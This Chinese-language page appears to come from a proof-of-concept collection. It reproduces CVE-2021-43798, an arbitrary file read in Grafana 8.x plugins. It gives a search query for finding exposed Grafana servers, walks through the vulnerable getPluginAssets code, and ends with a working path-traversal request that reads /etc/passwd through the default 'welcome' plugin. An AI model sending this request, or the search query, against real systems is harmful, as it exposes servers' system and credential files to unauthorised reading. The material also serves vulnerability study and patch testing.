Awesome-POC/Web应用漏洞/Grafana plugins 任意文件读取漏洞 CVE-2021-43798.md
2023-08-28 15:55:36 +08:00

72 lines
1.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Grafana plugins 任意文件读取漏洞 CVE-2021-43798
## 漏洞描述
Grafana存在任意文件读取漏洞通过默认存在的插件可构造特殊的请求包读取服务器任意文件
## 漏洞影响
```
Grafana 8.x
```
## 网络测绘
```
app="Grafana_Labs-公司产品"
```
## 漏洞复现
登录页面
![image-20220524145544871](./images/202205241455924.png)
下载源码进行本地分析
```
https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0
```
根据漏洞找到 api.go 中的请求路径
![](./images/202205241456202.png)
```
r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)
```
跟踪对应的 getPluginAssets 方法
![](./images/202205241456015.png)
从请求路径中获取 `/public/plugins/` 后的参数赋值给 `pluginID,` 然后再被拼接至 `pluginFilePath` 进入文件读取片段
```
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
```
![](./images/202205241456301.png)
也就是说通过默认存在的插件来拼接文件路径构造请求进行文件读取
```
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
c.JsonApiErr(404, "Plugin not found", nil)
return
}
```
插件路径 `public/app/plugins/panel`
![](./images/202205241456061.png)
构造请求
```
/public/plugins/welcome/../../../../../../../../../etc/passwd
```
![](./images/202205241456571.png)